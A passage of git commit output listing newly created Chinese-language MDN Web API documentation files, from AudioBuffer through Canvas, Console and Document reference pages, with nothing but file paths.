files/zh-cn/web/api/audiobuffer/copyfromchannel/index.html create mode 100644 files/zh-cn/web/api/audiobuffer/duration/index.html create mode 100644 files/zh-cn/web/api/audiobuffer/getchanneldata/index.html create mode 100644 files/zh-cn/web/api/audiobuffer/index.html create mode 100644 files/zh-cn/web/api/audiobuffer/length/index.html create mode 100644 files/zh-cn/web/api/audiobuffer/numberofchannels/index.html create mode 100644 files/zh-cn/web/api/audiobuffer/samplerate/index.html create mode 100644 files/zh-cn/web/api/audiobuffersourcenode/audiobuffersourcenode/index.html create mode 100644 files/zh-cn/web/api/audiobuffersourcenode/buffer/index.html create mode 100644 files/zh-cn/web/api/audiobuffersourcenode/index.html create mode 100644 files/zh-cn/web/api/audiobuffersourcenode/start/index.html create mode 100644 files/zh-cn/web/api/audiocontext/audiocontext/index.html create mode 100644 files/zh-cn/web/api/audiocontext/baselatency/index.html create mode 100644 files/zh-cn/web/api/audiocontext/close/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createanalyser/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createbuffer/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createbuffersource/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createchannelmerger/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createconvolver/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createdelay/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createmediaelementsource/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createmediastreamdestination/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createmediastreamsource/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html create mode 100644 files/zh-cn/web/api/audiocontext/createwaveshaper/index.html create mode 100644 files/zh-cn/web/api/audiocontext/currenttime/index.html create mode 100644 files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html create mode 100644 files/zh-cn/web/api/audiocontext/destination/index.html create mode 100644 files/zh-cn/web/api/audiocontext/index.html create mode 100644 files/zh-cn/web/api/audiocontext/listener/index.html create mode 100644 files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html create mode 100644 files/zh-cn/web/api/audiocontext/onstatechange/index.html create mode 100644 files/zh-cn/web/api/audiocontext/resume/index.html create mode 100644 files/zh-cn/web/api/audiocontext/samplerate/index.html create mode 100644 files/zh-cn/web/api/audiocontext/state/index.html create mode 100644 files/zh-cn/web/api/audiocontext/suspend/index.html create mode 100644 files/zh-cn/web/api/audiodestinationnode/index.html create mode 100644 files/zh-cn/web/api/audiodestinationnode/maxchannelcount/index.html create mode 100644 files/zh-cn/web/api/audiolistener/index.html create mode 100644 files/zh-cn/web/api/audionode/connect(audioparam)/index.html create mode 100644 files/zh-cn/web/api/audionode/connect/index.html create mode 100644 files/zh-cn/web/api/audionode/index.html create mode 100644 files/zh-cn/web/api/audionodeoptions/index.html create mode 100644 files/zh-cn/web/api/audioparam/index.html create mode 100644 files/zh-cn/web/api/audioparamdescriptor/index.html create mode 100644 files/zh-cn/web/api/audioscheduledsourcenode/index.html create mode 100644 files/zh-cn/web/api/audioscheduledsourcenode/stop/index.html create mode 100644 files/zh-cn/web/api/audiotrack/index.html create mode 100644 files/zh-cn/web/api/audioworkletnode/index.html create mode 100644 files/zh-cn/web/api/audioworkletprocessor/index.html create mode 100644 files/zh-cn/web/api/authenticatorresponse/clientdatajson/index.html create mode 100644 files/zh-cn/web/api/authenticatorresponse/index.html create mode 100644 files/zh-cn/web/api/background_tasks_api/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createconstantsource/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createoscillator/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createperiodicwave/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/index.html create mode 100644 files/zh-cn/web/api/battery_status_api/index.html create mode 100644 files/zh-cn/web/api/batterymanager/charging/index.html create mode 100644 files/zh-cn/web/api/batterymanager/index.html create mode 100644 files/zh-cn/web/api/beacon_api/index.html create mode 100644 files/zh-cn/web/api/beacon_api/using_the_beacon_api/index.html create mode 100644 files/zh-cn/web/api/beforeinstallpromptevent/index.html create mode 100644 files/zh-cn/web/api/beforeinstallpromptevent/prompt/index.html create mode 100644 files/zh-cn/web/api/beforeunloadevent/index.html create mode 100644 files/zh-cn/web/api/biquadfilternode/index.html create mode 100644 files/zh-cn/web/api/blob/arraybuffer/index.html create mode 100644 files/zh-cn/web/api/blob/blob/index.html create mode 100644 files/zh-cn/web/api/blob/index.html create mode 100644 files/zh-cn/web/api/blob/size/index.html create mode 100644 files/zh-cn/web/api/blob/slice/index.html create mode 100644 files/zh-cn/web/api/blob/stream/index.html create mode 100644 files/zh-cn/web/api/blob/text/index.html create mode 100644 files/zh-cn/web/api/blob/type/index.html create mode 100644 files/zh-cn/web/api/blobbuilder/index.html create mode 100644 files/zh-cn/web/api/bluetooth/index.html create mode 100644 files/zh-cn/web/api/bluetooth/requestdevice/index.html create mode 100644 files/zh-cn/web/api/body/arraybuffer/index.html create mode 100644 files/zh-cn/web/api/body/blob/index.html create mode 100644 files/zh-cn/web/api/body/body/index.html create mode 100644 files/zh-cn/web/api/body/bodyused/index.html create mode 100644 files/zh-cn/web/api/body/formdata/index.html create mode 100644 files/zh-cn/web/api/body/index.html create mode 100644 files/zh-cn/web/api/body/json/index.html create mode 100644 files/zh-cn/web/api/body/text/index.html create mode 100644 files/zh-cn/web/api/broadcast_channel_api/index.html create mode 100644 files/zh-cn/web/api/broadcastchannel/broadcastchannel/index.html create mode 100644 files/zh-cn/web/api/broadcastchannel/close/index.html create mode 100644 files/zh-cn/web/api/broadcastchannel/index.html create mode 100644 files/zh-cn/web/api/broadcastchannel/messageerror_event/index.html create mode 100644 files/zh-cn/web/api/broadcastchannel/name/index.html create mode 100644 files/zh-cn/web/api/broadcastchannel/onmessage/index.html create mode 100644 files/zh-cn/web/api/broadcastchannel/onmessageerror/index.html create mode 100644 files/zh-cn/web/api/broadcastchannel/postmessage/index.html create mode 100644 files/zh-cn/web/api/bytestring/index.html create mode 100644 files/zh-cn/web/api/cache/add/index.html create mode 100644 files/zh-cn/web/api/cache/addall/index.html create mode 100644 files/zh-cn/web/api/cache/delete/index.html create mode 100644 files/zh-cn/web/api/cache/index.html create mode 100644 files/zh-cn/web/api/cache/keys/index.html create mode 100644 files/zh-cn/web/api/cache/match/index.html create mode 100644 files/zh-cn/web/api/cache/matchall/index.html create mode 100644 files/zh-cn/web/api/cache/put/index.html create mode 100644 files/zh-cn/web/api/cachestorage/delete/index.html create mode 100644 files/zh-cn/web/api/cachestorage/has/index.html create mode 100644 files/zh-cn/web/api/cachestorage/index.html create mode 100644 files/zh-cn/web/api/cachestorage/keys/index.html create mode 100644 files/zh-cn/web/api/cachestorage/match/index.html create mode 100644 files/zh-cn/web/api/cachestorage/open/index.html create mode 100644 files/zh-cn/web/api/cameracontrol/getpreviewstream/index.html create mode 100644 files/zh-cn/web/api/cameracontrol/index.html create mode 100644 files/zh-cn/web/api/canvas_api/a_basic_ray-caster/index.html create mode 100644 files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html create mode 100644 files/zh-cn/web/api/canvas_api/index.html create mode 100644 files/zh-cn/web/api/canvas_api/manipulating_video_using_canvas/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/advanced_animations/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/basic_animations/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/basic_usage/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/compositing/example/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/compositing/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/drawing_shapes/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/drawing_text/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/finale/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/optimizing_canvas/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/transformations/index.html create mode 100644 files/zh-cn/web/api/canvas_api/tutorial/using_images/index.html create mode 100644 files/zh-cn/web/api/canvascapturemediastream/index.html create mode 100644 files/zh-cn/web/api/canvasgradient/addcolorstop/index.html create mode 100644 files/zh-cn/web/api/canvasgradient/index.html create mode 100644 files/zh-cn/web/api/canvasimagesource/index.html create mode 100644 files/zh-cn/web/api/canvaspattern/index.html create mode 100644 files/zh-cn/web/api/canvaspattern/settransform/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/addhitregion/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/arc/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/arcto/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/beginpath/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/beziercurveto/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/canvas/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/clearhitregions/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/clearrect/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/clip/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/closepath/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/createimagedata/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/createlineargradient/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/createpattern/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/createradialgradient/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/currenttransform/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/direction/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/drawfocusifneeded/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/drawimage/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/drawwidgetasonscreen/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/drawwindow/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/ellipse/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/fill/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/fillrect/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/fillstyle/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/filltext/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/filter/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/font/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/getimagedata/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/getlinedash/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/gettransform/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/globalalpha/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/globalcompositeoperation/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/imagesmoothingenabled/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/imagesmoothingquality/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/ispointinpath/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/ispointinstroke/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/linecap/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/linedashoffset/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/linejoin/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/lineto/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/linewidth/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/measuretext/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/miterlimit/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/moveto/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/putimagedata/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/quadraticcurveto/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/rect/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/removehitregion/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/resettransform/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/restore/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/rotate/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/save/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/scale/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/scrollpathintoview/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/setlinedash/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/settransform/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/shadowblur/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/shadowcolor/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/shadowoffsetx/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/shadowoffsety/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/stroke/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/strokerect/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/strokestyle/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/stroketext/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/textalign/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/textbaseline/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/transform/index.html create mode 100644 files/zh-cn/web/api/canvasrenderingcontext2d/translate/index.html create mode 100644 files/zh-cn/web/api/cdatasection/index.html create mode 100644 files/zh-cn/web/api/channel_messaging_api/index.html create mode 100644 "files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" create mode 100644 files/zh-cn/web/api/channelmergernode/channelmergernode/index.html create mode 100644 files/zh-cn/web/api/channelmergernode/index.html create mode 100644 files/zh-cn/web/api/characterdata/index.html create mode 100644 files/zh-cn/web/api/childnode/after/index.html create mode 100644 files/zh-cn/web/api/childnode/before/index.html create mode 100644 files/zh-cn/web/api/childnode/index.html create mode 100644 files/zh-cn/web/api/childnode/remove/index.html create mode 100644 files/zh-cn/web/api/childnode/replacewith/index.html create mode 100644 files/zh-cn/web/api/client/index.html create mode 100644 files/zh-cn/web/api/client/postmessage/index.html create mode 100644 files/zh-cn/web/api/clients/claim/index.html create mode 100644 files/zh-cn/web/api/clients/get/index.html create mode 100644 files/zh-cn/web/api/clients/index.html create mode 100644 files/zh-cn/web/api/clients/matchall/index.html create mode 100644 files/zh-cn/web/api/clients/openwindow/index.html create mode 100644 files/zh-cn/web/api/clipboard/index.html create mode 100644 files/zh-cn/web/api/clipboard/read/index.html create mode 100644 files/zh-cn/web/api/clipboard/readtext/index.html create mode 100644 files/zh-cn/web/api/clipboard/write/index.html create mode 100644 files/zh-cn/web/api/clipboard/writetext/index.html create mode 100644 files/zh-cn/web/api/clipboard_api/index.html create mode 100644 files/zh-cn/web/api/clipboardevent/clipboarddata/index.html create mode 100644 files/zh-cn/web/api/clipboardevent/clipboardevent/index.html create mode 100644 files/zh-cn/web/api/clipboardevent/index.html create mode 100644 files/zh-cn/web/api/clipboarditem/index.html create mode 100644 files/zh-cn/web/api/closeevent/index.html create mode 100644 files/zh-cn/web/api/comment/comment/index.html create mode 100644 files/zh-cn/web/api/comment/index.html create mode 100644 files/zh-cn/web/api/compositionevent/index.html create mode 100644 files/zh-cn/web/api/console/assert/index.html create mode 100644 files/zh-cn/web/api/console/clear/index.html create mode 100644 files/zh-cn/web/api/console/count/index.html create mode 100644 files/zh-cn/web/api/console/countreset/index.html create mode 100644 files/zh-cn/web/api/console/debug/index.html create mode 100644 files/zh-cn/web/api/console/dir/index.html create mode 100644 files/zh-cn/web/api/console/dirxml/index.html create mode 100644 files/zh-cn/web/api/console/error/index.html create mode 100644 files/zh-cn/web/api/console/group/index.html create mode 100644 files/zh-cn/web/api/console/groupcollapsed/index.html create mode 100644 files/zh-cn/web/api/console/groupend/index.html create mode 100644 files/zh-cn/web/api/console/index.html create mode 100644 files/zh-cn/web/api/console/info/index.html create mode 100644 files/zh-cn/web/api/console/log/index.html create mode 100644 files/zh-cn/web/api/console/profile/index.html create mode 100644 files/zh-cn/web/api/console/profileend/index.html create mode 100644 files/zh-cn/web/api/console/table/index.html create mode 100644 files/zh-cn/web/api/console/time/index.html create mode 100644 files/zh-cn/web/api/console/timeend/index.html create mode 100644 files/zh-cn/web/api/console/timelog/index.html create mode 100644 files/zh-cn/web/api/console/timestamp/index.html create mode 100644 files/zh-cn/web/api/console/trace/index.html create mode 100644 files/zh-cn/web/api/console/warn/index.html create mode 100644 files/zh-cn/web/api/console_api/index.html create mode 100644 files/zh-cn/web/api/convolvernode/index.html create mode 100644 files/zh-cn/web/api/credential_management_api/index.html create mode 100644 files/zh-cn/web/api/credentialscontainer/index.html create mode 100644 files/zh-cn/web/api/crypto/index.html create mode 100644 files/zh-cn/web/api/crypto/subtle/index.html create mode 100644 files/zh-cn/web/api/cryptokey/index.html create mode 100644 files/zh-cn/web/api/css/escape/index.html create mode 100644 files/zh-cn/web/api/css/factory_functions/index.html create mode 100644 files/zh-cn/web/api/css/index.html create mode 100644 files/zh-cn/web/api/css/supports/index.html create mode 100644 files/zh-cn/web/api/css_font_loading_api/index.html create mode 100644 files/zh-cn/web/api/css_object_model/determining_the_dimensions_of_elements/index.html create mode 100644 files/zh-cn/web/api/css_object_model/index.html create mode 100644 files/zh-cn/web/api/css_object_model/using_dynamic_styling_information/index.html create mode 100644 files/zh-cn/web/api/cssconditionrule/index.html create mode 100644 files/zh-cn/web/api/cssgroupingrule/index.html create mode 100644 files/zh-cn/web/api/cssmathsum/index.html create mode 100644 files/zh-cn/web/api/cssmatrix/index.html create mode 100644 files/zh-cn/web/api/cssmediarule/index.html create mode 100644 files/zh-cn/web/api/cssrule/csstext/index.html create mode 100644 files/zh-cn/web/api/cssrule/index.html create mode 100644 files/zh-cn/web/api/cssrule/parentstylesheet/index.html create mode 100644 files/zh-cn/web/api/cssrulelist/index.html create mode 100644 files/zh-cn/web/api/cssstyledeclaration/getpropertycssvalue/index.html create mode 100644 files/zh-cn/web/api/cssstyledeclaration/getpropertypriority/index.html create mode 100644 files/zh-cn/web/api/cssstyledeclaration/getpropertyvalue/index.html create mode 100644 files/zh-cn/web/api/cssstyledeclaration/index.html create mode 100644 files/zh-cn/web/api/cssstyledeclaration/item/index.html create mode 100644 files/zh-cn/web/api/cssstyledeclaration/length/index.html create mode 100644 files/zh-cn/web/api/cssstyledeclaration/removeproperty/index.html create mode 100644 files/zh-cn/web/api/cssstyledeclaration/setproperty/index.html create mode 100644 files/zh-cn/web/api/cssstylerule/index.html create mode 100644 files/zh-cn/web/api/cssstylerule/selectortext/index.html create mode 100644 files/zh-cn/web/api/cssstylerule/style/index.html create mode 100644 files/zh-cn/web/api/cssstylesheet/deleterule/index.html create mode 100644 files/zh-cn/web/api/cssstylesheet/index.html create mode 100644 files/zh-cn/web/api/cssstylesheet/insertrule/index.html create mode 100644 files/zh-cn/web/api/csssupportsrule/index.html create mode 100644 files/zh-cn/web/api/cssvalue/index.html create mode 100644 files/zh-cn/web/api/cssvaluelist/index.html create mode 100644 files/zh-cn/web/api/cssvaluelist/length/index.html create mode 100644 "files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" create mode 100644 files/zh-cn/web/api/customelementregistry/define/index.html create mode 100644 files/zh-cn/web/api/customelementregistry/get/index.html create mode 100644 files/zh-cn/web/api/customelementregistry/index.html create mode 100644 files/zh-cn/web/api/customelementregistry/upgrade/index.html create mode 100644 files/zh-cn/web/api/customelementregistry/whendefined/index.html create mode 100644 files/zh-cn/web/api/customevent/customevent/index.html create mode 100644 files/zh-cn/web/api/customevent/detail/index.html create mode 100644 files/zh-cn/web/api/customevent/index.html create mode 100644 files/zh-cn/web/api/customevent/initcustomevent/index.html create mode 100644 files/zh-cn/web/api/datatransfer/cleardata/index.html create mode 100644 files/zh-cn/web/api/datatransfer/datatransfer/index.html create mode 100644 files/zh-cn/web/api/datatransfer/dropeffect/index.html create mode 100644 files/zh-cn/web/api/datatransfer/effectallowed/index.html create mode 100644 files/zh-cn/web/api/datatransfer/files/index.html create mode 100644 files/zh-cn/web/api/datatransfer/getdata/index.html create mode 100644 files/zh-cn/web/api/datatransfer/index.html create mode 100644 files/zh-cn/web/api/datatransfer/items/index.html create mode 100644 files/zh-cn/web/api/datatransfer/setdata/index.html create mode 100644 files/zh-cn/web/api/datatransfer/setdragimage/index.html create mode 100644 files/zh-cn/web/api/datatransfer/types/index.html create mode 100644 files/zh-cn/web/api/datatransferitem/getasfile/index.html create mode 100644 files/zh-cn/web/api/datatransferitem/getasstring/index.html create mode 100644 files/zh-cn/web/api/datatransferitem/index.html create mode 100644 files/zh-cn/web/api/datatransferitem/kind/index.html create mode 100644 files/zh-cn/web/api/datatransferitem/type/index.html create mode 100644 files/zh-cn/web/api/datatransferitem/webkitgetasentry/index.html create mode 100644 files/zh-cn/web/api/datatransferitemlist/index.html create mode 100644 files/zh-cn/web/api/datatransferitemlist/length/index.html create mode 100644 files/zh-cn/web/api/dedicatedworkerglobalscope/index.html create mode 100644 files/zh-cn/web/api/detecting_device_orientation/index.html create mode 100644 files/zh-cn/web/api/deviceacceleration/index.html create mode 100644 files/zh-cn/web/api/devicelightevent/index.html create mode 100644 files/zh-cn/web/api/devicelightevent/using_light_events/index.html create mode 100644 files/zh-cn/web/api/devicemotionevent/acceleration/index.html create mode 100644 files/zh-cn/web/api/devicemotionevent/accelerationincludinggravity/index.html create mode 100644 files/zh-cn/web/api/devicemotionevent/devicemotionevent/index.html create mode 100644 files/zh-cn/web/api/devicemotionevent/index.html create mode 100644 files/zh-cn/web/api/devicemotionevent/interval/index.html create mode 100644 files/zh-cn/web/api/devicemotionevent/rotationrate/index.html create mode 100644 files/zh-cn/web/api/deviceorientationevent/absolute/index.html create mode 100644 files/zh-cn/web/api/deviceorientationevent/alpha/index.html create mode 100644 files/zh-cn/web/api/deviceorientationevent/beta/index.html create mode 100644 files/zh-cn/web/api/deviceorientationevent/gamma/index.html create mode 100644 files/zh-cn/web/api/deviceorientationevent/index.html create mode 100644 files/zh-cn/web/api/deviceproximityevent/index.html create mode 100644 files/zh-cn/web/api/document/adoptnode/index.html create mode 100644 files/zh-cn/web/api/document/alinkcolor/index.html create mode 100644 files/zh-cn/web/api/document/all/index.html create mode 100644 files/zh-cn/web/api/document/anchors/index.html create mode 100644 files/zh-cn/web/api/document/applets/index.html create mode 100644 files/zh-cn/web/api/document/bgcolor/index.html create mode 100644 files/zh-cn/web/api/document/body/index.html create mode 100644 files/zh-cn/web/api/document/caretrangefrompoint/index.html create mode 100644 files/zh-cn/web/api/document/characterset/index.html create mode 100644 files/zh-cn/web/api/document/clear/index.html create mode 100644 files/zh-cn/web/api/document/close/index.html create mode 100644 files/zh-cn/web/api/document/compatmode/index.html create mode 100644 files/zh-cn/web/api/document/contenttype/index.html create mode 100644 files/zh-cn/web/api/document/cookie/index.html create mode 100644 files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html create mode 100644 files/zh-cn/web/api/document/createattribute/index.html create mode 100644 files/zh-cn/web/api/document/createcdatasection/index.html create mode 100644 files/zh-cn/web/api/document/createcomment/index.html create mode 100644 files/zh-cn/web/api/document/createdocumentfragment/index.html create mode 100644 files/zh-cn/web/api/document/createelement/index.html create mode 100644 files/zh-cn/web/api/document/createelementns/index.html create mode 100644 files/zh-cn/web/api/document/createevent/index.html create mode 100644 files/zh-cn/web/api/document/createexpression/index.html create mode 100644 files/zh-cn/web/api/document/createnodeiterator/index.html create mode 100644 files/zh-cn/web/api/document/creatensresolver/index.html create mode 100644 files/zh-cn/web/api/document/createprocessinginstruction/index.html create mode 100644 files/zh-cn/web/api/document/createrange/index.html create mode 100644 files/zh-cn/web/api/document/createtextnode/index.html create mode 100644 files/zh-cn/web/api/document/createtreewalker/index.html create mode 100644 files/zh-cn/web/api/document/currentscript/index.html create mode 100644 files/zh-cn/web/api/document/defaultview/index.html create mode 100644 files/zh-cn/web/api/document/designmode/index.html create mode 100644 files/zh-cn/web/api/document/dir/index.html create mode 100644 files/zh-cn/web/api/document/doctype/index.html create mode 100644 files/zh-cn/web/api/document/document/index.html create mode 100644 files/zh-cn/web/api/document/documentelement/index.html create mode 100644 files/zh-cn/web/api/document/documenturi/index.html create mode 100644 files/zh-cn/web/api/document/documenturiobject/index.html create mode 100644 files/zh-cn/web/api/document/domain/index.html create mode 100644 files/zh-cn/web/api/document/domcontentloaded_event/index.html create mode 100644 files/zh-cn/web/api/document/drag_event/index.html create mode 100644 files/zh-cn/web/api/document/dragend_event/index.html create mode 100644 files/zh-cn/web/api/document/dragenter_event/index.html create mode 100644 files/zh-cn/web/api/document/dragleave_event/index.html create mode 100644 files/zh-cn/web/api/document/dragover_event/index.html create mode 100644 files/zh-cn/web/api/document/dragstart_event/index.html create mode 100644 files/zh-cn/web/api/document/drop_event/index.html create mode 100644 files/zh-cn/web/api/document/elementfrompoint/index.html create mode 100644 files/zh-cn/web/api/document/elementsfrompoint/index.html create mode 100644 files/zh-cn/web/api/document/embeds/index.html create mode 100644 files/zh-cn/web/api/document/evaluate/index.html create mode 100644 files/zh-cn/web/api/document/execcommand/index.html create mode 100644 files/zh-cn/web/api/document/exitfullscreen/index.html create mode 100644 files/zh-cn/web/api/document/exitpointerlock/index.html create mode 100644 files/zh-cn/web/api/document/fgcolor/index.html create mode 100644 files/zh-cn/web/api/document/fonts/index.html create mode 100644 files/zh-cn/web/api/document/forms/index.html create mode 100644 files/zh-cn/web/api/document/fullscreenchange_event/index.html create mode 100644 files/zh-cn/web/api/document/getelementbyid/index.html create mode 100644 files/zh-cn/web/api/document/getelementsbyclassname/index.html create mode 100644 files/zh-cn/web/api/document/getelementsbyname/index.html create mode 100644 files/zh-cn/web/api/document/getelementsbytagname/index.html create mode 100644 files/zh-cn/web/api/document/getelementsbytagnamens/index.html create mode 100644 files/zh-cn/web/api/document/getselection/index.html create mode 100644 files/zh-cn/web/api/document/hasfocus/index.html create mode 100644 files/zh-cn/web/api/document/hasstorageaccess/index.html create mode 100644 files/zh-cn/web/api/document/head/index.html create mode 100644 files/zh-cn/web/api/document/height/index.html create mode 100644 files/zh-cn/web/api/document/hidden/index.html create mode 100644 files/zh-cn/web/api/document/images/index.html create mode 100644 files/zh-cn/web/api/document/implementation/index.html create mode 100644 files/zh-cn/web/api/document/importnode/index.html create mode 100644 files/zh-cn/web/api/document/index.html create mode 100644 files/zh-cn/web/api/document/inputencoding/index.html create mode 100644 files/zh-cn/web/api/document/keypress_event/index.html create mode 100644 files/zh-cn/web/api/document/lastmodified/index.html create mode 100644 files/zh-cn/web/api/document/laststylesheetset/index.html create mode 100644 files/zh-cn/web/api/document/linkcolor/index.html create mode 100644 files/zh-cn/web/api/document/links/index.html create mode 100644 files/zh-cn/web/api/document/location/index.html create mode 100644 files/zh-cn/web/api/document/mozfullscreen/index.html create mode 100644 files/zh-cn/web/api/document/mozfullscreenelement/index.html create mode 100644 files/zh-cn/web/api/document/mozfullscreenenabled/index.html create mode 100644 files/zh-cn/web/api/document/mozsyntheticdocument/index.html create mode 100644 files/zh-cn/web/api/document/onbeforescriptexecute/index.html create mode 100644 files/zh-cn/web/api/document/onfullscreenchange/index.html create mode 100644 files/zh-cn/web/api/document/onfullscreenerror/index.html create mode 100644 files/zh-cn/web/api/document/onoffline/index.html create mode 100644 files/zh-cn/web/api/document/ononline/index.html create mode 100644 files/zh-cn/web/api/document/onvisibilitychange/index.html create mode 100644 files/zh-cn/web/api/document/open/index.html create mode 100644 files/zh-cn/web/api/document/origin/index.html create mode 100644 files/zh-cn/web/api/document/plugins/index.html create mode 100644 files/zh-cn/web/api/document/pointerlockchange_event/index.html create mode 100644 files/zh-cn/web/api/document/pointerlockelement/index.html create mode 100644 files/zh-cn/web/api/document/preferredstylesheetset/index.html create mode 100644 files/zh-cn/web/api/document/querycommandenabled/index.html create mode 100644 files/zh-cn/web/api/document/querycommandstate/index.html create mode 100644 files/zh-cn/web/api/document/querycommandsupported/index.html create mode 100644 files/zh-cn/web/api/document/queryselector/index.html create mode 100644 files/zh-cn/web/api/document/queryselectorall/index.html create mode 100644 files/zh-cn/web/api/document/readystate/index.html create mode 100644 files/zh-cn/web/api/document/referrer/index.html create mode 100644 files/zh-cn/web/api/document/registerelement/index.html create mode 100644 files/zh-cn/web/api/document/releasecapture/index.html create mode 100644 files/zh-cn/web/api/document/rouchmove_event/index.html create mode 100644 files/zh-cn/web/api/document/scripts/index.html create mode 100644 files/zh-cn/web/api/document/scroll_event/index.html create mode 100644 